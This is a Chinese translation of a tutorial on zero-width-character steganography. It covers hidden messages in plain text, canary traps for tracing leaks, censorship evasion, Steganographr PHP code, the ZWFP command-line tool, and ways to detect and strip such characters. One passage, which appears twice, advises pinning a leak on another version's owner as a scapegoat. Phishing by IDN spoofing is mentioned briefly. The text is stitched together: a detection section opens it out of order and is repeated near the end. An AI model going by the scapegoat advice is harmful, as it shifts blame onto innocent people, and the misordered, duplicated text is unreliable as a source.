当 Chrome 中的文档或网页使用零宽度字符隐藏信息时，该工具将使其非常明显。

有趣的是，由于它会将零宽度字符一对一替换为各种表情符号，因此您可以看到表情符号形式的二进制。如果您想探索或修改该工具，可以在GitHub上找到源代码。

尽管该扩展有用，但不要让它给您带来错误的安全感。它仅检测网页或文档中的零宽度字符，而不能检测隐藏在**URL**中的东西。

复制不包含零宽度字符的文本

「图」

如果您无法使用 Chrome 扩展程序，或者您想要一个功能更强大的工具来删除文档中的零宽度字符，那么需要使用一个名为 Diffchecker 的网站。

Diffchecker 是一种工具，用于突出显示两个相似文档之间的差异，这使其成为检测经典金丝雀陷阱的有力工具。

由于并非所有人都知道零宽度字符，因此人们有时会尝试使用多余的空格和故意的拼写错误来达到相同的效果。

如果您有两个版本的文档，Diffchecker 会突出显示这些差异，如果只有一个版本，则 Diffchecker 会将零宽度字符显示为点。

只需打开该网站，然后将文本复制粘贴到 “原始文本” 字段中即可。如果文本中包含零宽度字符，它们将开始显示为点。

如果您有第二个版本，请粘贴 “更改的文本” 字段，然后单击页面底部的 “查找差异”。

Diffchecker 也是查找**URL**中零宽度字符的理想选择，并且在调查可疑域时应该是首选。

「图」

如果找到零宽度字符，则删除它们很简单，只需突出显示点的部分并按 Backspace 或 Delete 键即可。

现在，您可以安全地复制文本了。如下所示，它将不再能够找到隐藏的消息。

「图」

如果您确实碰巧在试图使用金丝雀陷阱的同一文档中找到了两个版本，那么就可以将另一个版本用作替罪羊，将矛头指向其所有者，以便无法再追溯到您。

如果您希望在本地计算机上使用，那么有一个名为 Notepad ++的程序，该程序可以安装在 Kali 和其他 Linux 发行版上。在 Notepad ++中，复制并粘贴文本，然后在顶部栏上单击 “Encoding”，然后单击 “Encode in ANSI”。

Confidential Announcement: â€Œï»¿â€‹ï»¿â€Œï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â
€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€Œï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€ï»¿â
€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â
€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â

€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€‹This is some confidential text that you really shouldn't be sharing anywhere else.

通过更改文档的编码实际上可以暴露零宽度字符，这些字符依靠Unicode和UTF-8。现在零宽度字符看起来像是乱七八糟的东西，在阅读文档时很容易找到。

零宽度字符非常适合隐藏消息

「图」

零宽度字符是一个有用的工具。但是，绝对不要忘记它们的局限性。如果将它们用作秘密通信方式，您应始终记住对其进行加密。否则就是相当于下了一个巨大的赌注 “没有人会去寻找隐藏的消息”。〇

Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)

原文

如何在文本中隐藏秘密消息 – 不是在图片和音频中，是在文本中：隐写术（3） - iyouport

护盾（AS）

【2020年9月17日存档】从传递秘密消息到数字化的金丝雀陷阱。

「图」

如果您错过了关于隐写术的早前内容，可以在下面回顾：

- 《隐写术的小心机（1）》
- 《使用隐写术发送秘密消息（2）简易教程》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》

如上，您已经学到了如何在图像和音频中隐藏秘密消息的方法，但这还不是隐写术的全部。

使用零宽度字符，您可以将秘密信息隐藏在纯文本内部，从而更安全地传递秘密消息；绕避关键字审查。甚至可以弄清楚谁在网上泄漏文件。一定程度上这对吹哨人不利。

Unicode 是文本的标准化编码格式，特别是UTF-8，大多数Web浏览器都使用 Unicode。因为 Unicode 需要支持世界上几乎所有书面语言，所以存在一些违反直觉的字符，例如零宽度不连接符和零宽空格。例如前者在波斯语中使用，因为需要显示正确的印刷体形式。

「图」

于是您可以使用零宽度字符在任何未对零宽度字符做过滤的网页内插入不可见的隐形文本。

这个思路是选择两个任意的零宽度字符并将它们指定为1和0，然后将任何消息拆分为单个字符，然后以零宽度字符（分别为1和0）将其编码为二进制形式，从而将其隐藏在纯文本中。

最佳实践是在单词之间的空格中添加零宽度二进制码。否则，拼写检查倾向于认为该单词拼写错误。

```
Plain text, nothing to see here
```

要查看隐藏了什么，复制这个文本 “plain text”，把它贴到这个工具上 online zero-width detention tool 上即可。

您可以用它来做什么？

「图」

在普通的文本中隐藏信息的能力本身就非常有用，您可以传输机密信息在队友之间、或者简单地绕避关键字审查，比如在微信上。但使这种技术真正精妙的是，它能在重新格式化后存活下来，并且，无论文本被复制粘贴到哪里，秘密消息都能携带。隐藏的字符在 nano 等文本编辑器中都不会暴露。

这应该是秘密通信的首选方式。

你可以使用经典的间谍伎俩，在公共空间发布一篇文章、或某种类型的文本文档。例如，你可以在 Craigslist 广告中隐藏一条秘密信息，然后让一个单独的接收者或一群合作者定期检查当地的 Craigslist 广告，寻找特定的关键词。他们会知道如何检查其中是否存在隐藏的秘密信息。

当必须确保两个接头人之间没有直接的联系时，这是一种交换信息的有益方法。一个灾难案例 …… 当事人也许可以事先通过隐写术处理这则消息

稍微古老一点的用例是传统的金丝雀陷阱。如果您曾经读过任何神秘小说，那肯定能对这种陷阱的工作方式很熟悉。这是一种侦测情报泄露的方法，就是故意将不同版本的机密情报泄露给嫌疑人，然后观察信息的走向以判断泄密者究竟是谁。根据版本，您会知道哪个人泄漏了信息。

这是一种很经典的手段。众所周知，国会助理通过在提供给其他办公室和游说者的文件中故意使用拼写错误的单词或其他小的语法错误来泄露数据。

但是这样做的问题是，如果有人能掌握两个不同的版本，他们马上就

会知道你要干什么了。这种情况下零宽度字符就可以派上用场了。

通过使用零宽度字符，一般人即使掌握了两个不同版本的文档或文本，也不太可能注意到那里面藏着什么；当然，如果有人通过截图或用打印机复印以泄漏信息，同样会被抓住。对于吹哨人来说，这是非常危险的 —— EXIF数据会直接指向你的设备，以及许多打印机采用的微点，这些微点可以唯一地识别打印的东西。

最后，零宽度字符可以用来改变 **URL**。不幸的是由于ICANN的规定，你不能注册一个零宽度字符的域名。不过，在本地网络的IDN欺骗中，它是相当有用的 —— IDN欺骗是钓鱼式攻击的手法之一。它利用国际化域名可以以 Unicode 字符命名网址的特性，通过同形异义字实现诱骗点击。

它也可以只用来破坏一个URL。下面是 GitHub URL 的例子。

```
https://github.com/holdTheDoorHoid https://
github.com/holdTheDoorHoid
```

它俩看起来可能完全相同，但是，第二个链接在 “hold” 之后使用了零宽度字符，这会阻止其正常工作 —— 这个链接是打不开的。

下面介绍一下如何实际使用这种技术。

使用真实加密以提高安全性

「图」

必须首先强调这点：如果您想要保证自己的信息安全，仅仅将信息编码成零宽度二进制码是不足以加密的。任何人只要有合适的程序，就可以轻松破译您的秘密信息。

您真正应该使用的是对称或非对称加密方案。如果只有一个目标人是预期的接收者，那么像PGP这样的非对称加密方案将最有效。但如果信息接收者是一群人，可能要使用对称加密。

它是基于这样的原理，即：几乎没有人会在秘密空间中寻找秘密。

也就是说，与其使用PGP加密零宽度的消息，不如在PGP加密的邮件中使用零宽度字符作为额外的验证层。

你可以使用两种方式来做到这点。

第一种方式是一封普通的邮件正文，而实际的信息隐藏在零宽度中。

另一种方式是，在第一句中隐藏特定的代码字，然后让响应者在他们的第一句中使用该代码字或一个响应代码字。

显然第二种策略更好。因为如果有人确实掌握了与您接头的人的PGP密钥，那么他们极有可能会想要寻找零宽度字符，当对方没有使用正确的代码字回应时，您就可以立即预知到危险。

选项1：在线直接创建零宽度消息

「图」

要开始发送零宽度信息，打开 Steganographr 页面，在 “私密信息” 字段中粘贴您的（可以是加密的）信息，在 “公开信息” 字段中粘贴一个极为普通的或完全不重要的信息，然后点击 “Steganographize”。

然后，您将能够复制新生成的消息并按需进行处理。只需将其复制并粘贴，它仍将完整保留隐藏在其中的秘密消息。

当接头的人需要显示隐秘消息时，同样可以使用 Steganographr。滚动到底部，将文本粘贴到 “公开私密消息” 的字段中，然后单击 “Desteganographize”。

但是，这里的一个问题是，我们必须相信该网站不会保存这些消息或借此伤害你。幸运的是，**Steganographr** 开源，因此您可以简单地将其复制并托管在自己的网站上。

尤其是，您可以编辑源码。要进行更改只需要将十六进制值更改为所需的新字符即可。

```
// Convert the ones, zeros, and spaces of the
hidden binary data to their respective zero-width
characters function bin2hidden($str) { $str =
str_replace(' ', "\xE2\x81\xA0", $str); // Unicode
Character 'WORD JOINER' (U+2060) 0xE2 0x81 0xA0
$str = str_replace('0', "\xE2\x80\x8B", $str); //
Unicode Character 'ZERO WIDTH SPACE' (U+200B) 0xE2
0x80 0x8B $str = str_replace('1', "\xE2\x80\x8C",
$str); // Unicode Character 'ZERO WIDTH NON-
```

```
JOINER' (U+200C) 0xE2 0x80 0x8C return $str; } //
Convert zero-width characters to hidden binary
data function hidden2bin($str) { $str =
str_replace("\xE2\x81\xA0", ' ', $str); // Unicode
Character 'WORD JOINER' (U+2060) 0xE2 0x81 0xA0
$str = str_replace("\xE2\x80\x8B", '0', $str); //
Unicode Character 'ZERO WIDTH SPACE' (U+200B) 0xE2
0x80 0x8B $str = str_replace("\xE2\x80\x8C", '1',
$str); // Unicode Character 'ZERO WIDTH NON-
JOINER' (U+200C) 0xE2 0x80 0x8C return $str; }
```

以下是有用的零宽度字符及其十六进制代码的列表。

- MONGOLIAN VOWEL SEPARATOR \xE1 \xA0 \x8E
- ZERO-WIDTH SPACE \xE2 \x80 \x8B
- ZERO-WIDTH NON-JOINER \xE2 \x80 \x8C
- ZERO-WIDTH JOINER \xE2 \x80 \x8D
- LEFT-TO-RIGHT MARK \xE2 \x80 \x8E
- RIGHT-TO-LEFT MARK \xE2 \x80 \x8F
- ZERO-WIDTH NO-BREAK SPACE \xEF \xBB \xBF

例如，要从零宽度不连接符更改为蒙古语元音分隔符，就像这样替换：

```
str_replace('1', "\xE1\xA0\x8E", $str)
```

确保在两边都以相同的方式更改字符的十六进制编码。这样它就可以适当地编码和解码了。

选项2：从命令行创建零宽度消息

「图」

每次要发送和解码消息时都需要打开网页这可能会很烦人，特别是如果您经常这样做的话。

幸运的是，有人已经在GitHub上创建了一个名为 ZWFP 的工具，用于对零宽度消息进行编码，并且该工具可从命令行运行，很便捷。

但是要注意的一件事是，您将无法轻松更改用于零宽度二进制文件的字符。只要事先加密您的消息，实际上就没有什么可担心的。

尤其要注意，在发送和接收消息的双方，不可能一个人用网站编码，另一个人用命令行解码，反之亦然。您必须确保双方使用的是同一种方式来编码和解码。

开始之前请确保您的计算机上安装了Go编程语言。如果还没有，可以访问Go的下载页面，该网站还有详细的安装说明，如果您是第一次使用Go，不要跳过说明，因为您需要改变PATH环境变量。

安装Go之后，您可以从工作目录中获取 ZWFP 的 GitHub 存储库。

```
~/go$ go get -u github.com/vedhavyas/zwfp/cmd/
zwfp/...
```

这些文件非常小，几乎可以在您按完Enter之前就下载完毕。除了新的命令提示符外这里没有任何迹象表明下载成功，但它应该就在那里了。现在，移至 “zwfp”文件夹，然后构建该工具。

```
~/go$ cd /go/src/github.com/vedhavyas/zwfp/cmd/
zwfp ~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$
go build
```

再一次，除了一个新的命令提示符外没有任何提示。从这里开始，运行测试工具。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ go
test ./... ? github.com/vedhavyas/zwfp/cmd/zwfp
[no test files]
```

现在来看看如何使用ZWFP。不幸的是，它的使用说明非常模糊，因此更深入地研究下使用该工具的正确方法。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ ./
zwfp Usage: ./zwfp CoverText Payload Embeds
Payload into CoverText ./zwfp SteganoText Extracts
Payload from SteganoText
```

首先，使用两个参数利用ZWFP对消息进行编码。一个是看起来很普通的表面消息，每个人都会看到的公开信息，然后是隐藏的消息。

如果我们希望 “ CoverText” 作为表面文本，而 “Payload” 作为隐藏消息，那么它看起来像这样：

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ ./
zwfp CoverText Payload CoverText
```

但是您肯定需要将其保存在一个文件中，无论如何。因此，来尝试一下使用不同的表面文字和隐藏文字。

继续：将 “You see this right?” 作为表面消息，将 “But this is a hidden message in that text.” 作为隐藏文字（如果每个参数使用多个单词，那么必须用引号将它们包起来）

然后，将其保存到 / Desktop 目录中的新文件中。对于此示例它将是一个新的 “secret.txt” 文件。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ ./
zwfp "You see this right?" "But this is a hidden
message in that text." 」 /home/kali/Desktop/
secret.txt
```

使用 nano 查看这个文本文件。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ nano
/home/kali/Desktop/secret.txt GNU nano 4.9.2 /
home/kali/Desktop/secret.txt You see this right? [
Read 1 line ] ^G Get Help ^O Write Out ^W Where Is
^K Cut Text ^J Justify ^C Cur Pos ^X Exit ^R Read
File ^\ Replace ^U Paste Text ^T To Spell ^_ Go To
Line
```

很好，表面文字清晰可见。现在尝试看一下里面隐藏着什么。

为此，可以使用 vim 查看隐藏的字符。正如您在下面看到的，它与nano的显示有很大不同。输入 **:qa** 并按 Enter 退出vim。

ZWFP的用法并没有告诉您如何解码消息。为此 **cat** 这个文件，然后使用 **xargs -0** 查看隐藏的内容。

```
~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ cat /
home/kali/Desktop/secret.txt | xargs -0 ./zwfp
Cover Text: You see this right? Payload: But this
is a hidden message in that text.
```

要知道 **xargs -0** 做了什么，查看 xargs手册页的部分。

~/go/src/github.com/vedhavyas/zwfp/cmd/zwfp$ man xargs XARGS(1) General Commands Manual XARGS(1) NAME xargs - build and execute command lines from standard input SYNOPSIS xargs [options] [command [initial-arguments]] DESCRIPTION This manual page documents the GNU version of xargs. xargs reads items from the standard input, delimited by blanks (which can be protected with double or single quotes or a backslash) or newlines, and executes the command (default is /bin/echo) one or more times with any initial-argu- ments followed by items read from standard input. Blank lines on the standard input are ignored. The command line for command is built up until it reaches a system-de- fined limit (unless the -n and -L options are used). The specified com- mand will be invoked as many times as necessary to use up the list of in- put items. In general, there will be many fewer invocations of command than there were items in the input. This will normally have significant performance benefits. Some commands can usefully be executed in parallel too; see the -P option. Because Unix filenames can contain blanks and newlines, this default be- haviour is often problematic; filenames containing blanks and/or newlines are incorrectly processed by xargs. In these situations it is better to use the -0 option, which prevents such problems. When using this option you will need to ensure that the program which produces the input for xargs also uses a null character as a separator. If that program is GNU find for example, the -print0 option does this for you. If any invocation of the command exits with a status of 255, xargs will stop immediately without reading any further input. An error message is issued on stderr when this happens. OPTIONS -0, --null Input items are terminated by a null character instead of by whitespace, and the quotes and backslash are not special (every character is taken literally).

```
Disables the end of file string, which is treated
like any other argument. Useful when input items
might contain white space, quote marks, or
backslashes. The GNU find -print0 option produces
input suitable for this mode.
```

使用 Chrome 扩展程序显示零宽度字符

「图」

如果您想保护自己不受零宽度字符的侵害，最好的方法是使用一个简单的Chrome浏览器扩展程序。该扩展会将零宽度字符替换为各种表情符号。

转到 Chrome 网上应用商店，然后在浏览器中添加 “Replace zero-width characters with emojis”。之后重新启动 Chrome。

「图」

不幸的是，该扩展程序不会自动运行，因此当您怀疑或好奇的时候需要手动检查每个页面。

要运行该扩展程序，请单击其在浏览器栏右侧的按钮（灰色正方形内的 “ R”），然后单击 “Show me the $!”。

当 Chrome 中的文档或网页使用零宽度字符隐藏信息时，该工具将使其非常明显。

有趣的是，由于它会将零宽度字符一对一替换为各种表情符号，因此您可以看到表情符号形式的二进制。如果您想探索或修改该工具，可以在GitHub上找到源代码。

尽管该扩展有用，但不要让它给您带来错误的安全感。它仅检测网页或文档中的零宽度字符，而不能检测隐藏在**URL**中的东西。

复制不包含零宽度字符的文本

「图」

如果您无法使用 Chrome 扩展程序，或者您想要一个功能更强大的工具来删除文档中的零宽度字符，那么需要使用一个名为 Diffchecker

的网站。

Diffchecker 是一种工具，用于突出显示两个相似文档之间的差异，这使其成为检测经典金丝雀陷阱的有力工具。

由于并非所有人都知道零宽度字符，因此人们有时会尝试使用多余的空格和故意的拼写错误来达到相同的效果。

如果您有两个版本的文档，Diffchecker 会突出显示这些差异，如果只有一个版本，则 Diffchecker 会将零宽度字符显示为点。

只需打开该网站，然后将文本复制粘贴到“原始文本”字段中即可。如果文本中包含零宽度字符，它们将开始显示为点。

如果您有第二个版本，请粘贴“更改的文本”字段，然后单击页面底部的“查找差异”。

Diffchecker 也是查找**URL**中零宽度字符的理想选择，并且在调查可疑域时应该是首选。

「图」

如果找到零宽度字符，则删除它们很简单，只需突出显示点的部分并按 Backspace 或 Delete 键即可。

现在，您可以安全地复制文本了。如下所示，它将不再能够找到隐藏的消息。

「图」

如果您确实碰巧在试图使用金丝雀陷阱的同一文档中找到了两个版本，那么就可以将另一个版本用作替罪羊，将矛头指向其所有者，以便无法再追溯到您。

如果您希望在本地计算机上使用，那么有一个名为 Notepad ++的程序，该程序可以安装在 Kali 和其他 Linux 发行版上。在 Notepad ++中，复制并粘贴文本，然后在顶部栏上单击“Encoding”，然后单击“Encode in ANSI”。

```
Confidential Announcement: â€Œï»¿â€‹ï»¿â€Œï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â
```

€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€Ïï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â
€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€Œï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â
€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â
€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€ï»¿â€Œï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
€Œï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â
€‹ï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â
€‹ï»¿â€‹ï»¿â€‹ï»¿â€Œï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€ï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€Œï»¿â
€Œï»¿â€Œï»¿â€Œï»¿â€ï»¿â€Œï»¿â€‹ï»¿â€‹ï»¿â€‹ï»¿â
